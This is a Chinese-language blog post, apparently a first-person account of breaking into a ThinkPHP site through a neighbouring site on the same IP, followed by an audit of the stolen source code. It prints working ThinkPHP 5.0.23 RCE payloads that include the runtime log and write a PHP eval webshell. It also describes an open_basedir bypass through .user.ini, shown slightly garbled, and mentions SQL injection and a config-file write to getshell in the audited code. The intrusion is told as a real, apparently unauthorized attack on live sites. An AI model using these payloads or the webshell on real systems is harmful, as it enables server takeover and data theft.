一、同IP渗透

记一次实战渗透拿下源码进行审计


最近朋友发了个站叫我看看,打开一看,发现是TP3.2.3开发的,

本想直接利用tp3可以直接查看runtime日志来获取他的后台账号密码的,

发现并没有开启debug模式,所以无法查看到日志信息。

 

随便注册了一个账号进去,看有没有注入,无果。

对这个站进行信息收集,进行同ip的反查,发现7个地址。

 

每个域名又是不同的源码发开的,发现一个think5.0.23的,可以利用rce

 

发现无法直接执行代码,需要利用runtime日志或者session来进行文件包含获取shell,这里利用runtime日志来进行文件包含getshell,先写入日志。

 

利用日志进行包含,post发送:

_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=../runtime/log/202007/08.log&x=phpinfo();

 

写入shell:

_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=../runtime/log/202007/08.log&c=fputs(fopen('x.php','w'),'<?php eval($_POST[c]);?>');

 

成功getshell,由于是宝塔搭建的,无法访问其他路径,这里可以在新的文件上传一个.user.ini,再在这个文件上传一个一句话,就能成功访问其他目录了,.user.ini内容为:

open=basedir=

 

重新尝试访问www目录,成功

 

这样就成功拿下主站的权限的,发现主站的代码,fofa查了下,有很多使用这套诈骗源码开发的,就下载了下来审计了下。

二、代码审计


发现前台sql注入,没有任何过滤

 

由于需要开启debug模式才会生效

 

这个诈骗源码太多注入了,就不看其他的了,全局查找file_put_contents,发现后台可以写入配置文件getshell

 

他明明都使用了var_export函数,却要添加一个stripslashes去掉转义符,构造如下payload

 

访问文件,成功写入phpinfo

胜象大百科